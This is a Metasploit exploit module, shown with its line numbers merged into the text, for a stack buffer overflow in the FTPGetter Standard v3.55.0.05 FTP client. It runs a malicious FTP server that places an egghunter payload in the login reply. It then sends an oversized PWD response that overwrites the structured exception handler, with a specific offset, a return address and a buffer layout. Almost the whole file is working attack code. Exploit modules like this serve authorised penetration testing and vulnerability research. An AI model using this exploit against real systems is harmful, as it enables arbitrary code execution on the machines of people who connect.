Path: blob/master/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::FtpServer9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)',16'Description' => %q{17This module exploits a buffer overflow in FTPGetter Standard v3.55.0.05 ftp client.18When processing the response on a PWD command, a stack based buffer overflow occurs.19This leads to arbitrary code execution when a structured exception handler gets20overwritten.21},22'Author' => [23'ekse', # found the bug24'corelanc0d3r <peter.ve[at]corelan.be>', # wrote the exploit25],26'License' => MSF_LICENSE,27'References' => [28[ 'OSVDB', '68638'],29[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],30],31'DefaultOptions' => {32'EXITFUNC' => 'thread',33},34'Payload' => {35'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",36},37'Platform' => 'win',38'Targets' => [39[ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5 } ], # ppr [ssleay32.dll]40],41'Privileged' => false,42'DisclosureDate' => '2010-10-12',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)51end5253def setup54super55badchars = ""56eggoptions =57{58:checksum => true,59:eggtag => "W00T"60}61@hunter, @egg = generate_egghunter(payload.encoded, badchars, eggoptions)62end6364def on_client_unknown_command(c, cmd, arg)65c.put("200 OK\r\n")66end6768def on_client_command_pass(c, arg)69@state[c][:pass] = arg70c.put("230 OK #{@egg}\r\n")71return72end7374def on_client_command_pwd(c, arg)75junk1 = "A" * target['Offset']76junk2 = "A" * 977nseh = "\x74\x06\x41\x41"78jmp = "\x75\x08"79seh = [target.ret].pack('V')80junk3 = "D" * 2200081# dual offset82buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk383c.put("257 \"/\" #{buffer}\r\n")84print_status("Sent payload, #{buffer.length} bytes")85print_status("Wait for hunter ...")86return87end88end899091